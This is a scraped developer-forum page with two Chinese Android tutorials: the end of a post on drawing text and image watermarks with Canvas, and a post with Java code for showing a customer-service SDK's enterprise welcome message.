
public static int dp2px(Context context, float dp) {

final float scale = context.getResources().getDisplayMetrics().density;

return (int) (dp * scale + 0.5f);

}

}


复制代码



  1. 最终实现的效果如下:

效果.jpg


5.总结


整体来说没有什么太大的问题,添加水印的原理就是通过Canvas绘制的方式将文字/图片添加到图片上。最后再将修改之后的图片呈现给用户。同时也记录下SurfaceView截图黑屏的问题。


作者:LiChengZe_Blog
链接:https://juejin.cn/post/6960579316191068197
来源:掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

0 收藏 分享 举报 2021-05-11
0 个评论
ydhjhs
写下你的评论…
发起人
柳天明柳天明
推荐内容
java设计模式:原型模式
算法与数据结构之数组
算法与数据结构之算法复杂度
算法与数据结构之链表
java设计模式:抽象工厂模式
java 设计模式:责任链模式与Android事件传递
java 设计模式:观察者
java 设计模式:模版方法
java 设计模式:策略模式
java 设计模式:工厂方法模式
一个开放、互助、协作、创意的社区
关于imGeek关于专职工程师值守社区财富榜赞助商友情链接热门标签
京ICP备14026002号-3
收起阅读 »

安卓 客服云 企业欢迎语集成

1.后台配置企业欢迎语   管理员模式---设置--功能设置  企业欢迎语     2.代码   ChatClient.getInstance().chatManager().getEnterpriseWelcome(new ValueCallBack...
继续阅读 »
1.后台配置企业欢迎语
  管理员模式---设置--功能设置  企业欢迎语 
  



2.代码
 

ChatClient.getInstance().chatManager().getEnterpriseWelcome(new ValueCallBack() {
@Override
public void onSuccess(String value) {
Log.i("TAG value", value);
String enterpriseWelcome=value;
if (!TextUtils.isEmpty(value)) {
ChatClient.getInstance().chatManager().getCurrentSessionId(toChatUsername, new ValueCallBack() {//toChatUsername替换为自己的IM服务号
@Override
public void onSuccess(String value) {
Log.e("TAG value:", value + " 当返回value不为空时,则返回的当前会话的会话ID,也就是说会话正在咨询中,不需要发送欢迎语");
if (value.isEmpty()) {//
Message message = Message.createReceiveMessage(Message.Type.TXT);

EMTextMessageBody body = null;

body = new EMTextMessageBody(enterpriseWelcome);

message.setFrom(toChatUsername);//toChatUsername替换为自己的IM服务号

message.addBody(body);

message.setMsgTime(System.currentTimeMillis());

message.setStatus(Message.Status.SUCCESS);

message.setMsgId(UUID.randomUUID().toString());

ChatClient.getInstance().chatManager().saveMessage(message);

messageList.refresh();
}
}

@Override
public void onError(int error, String errorMsg) {

}
});
}

}

@Override
public void onError(int error, String errorMsg) {

}
});












收起阅读 »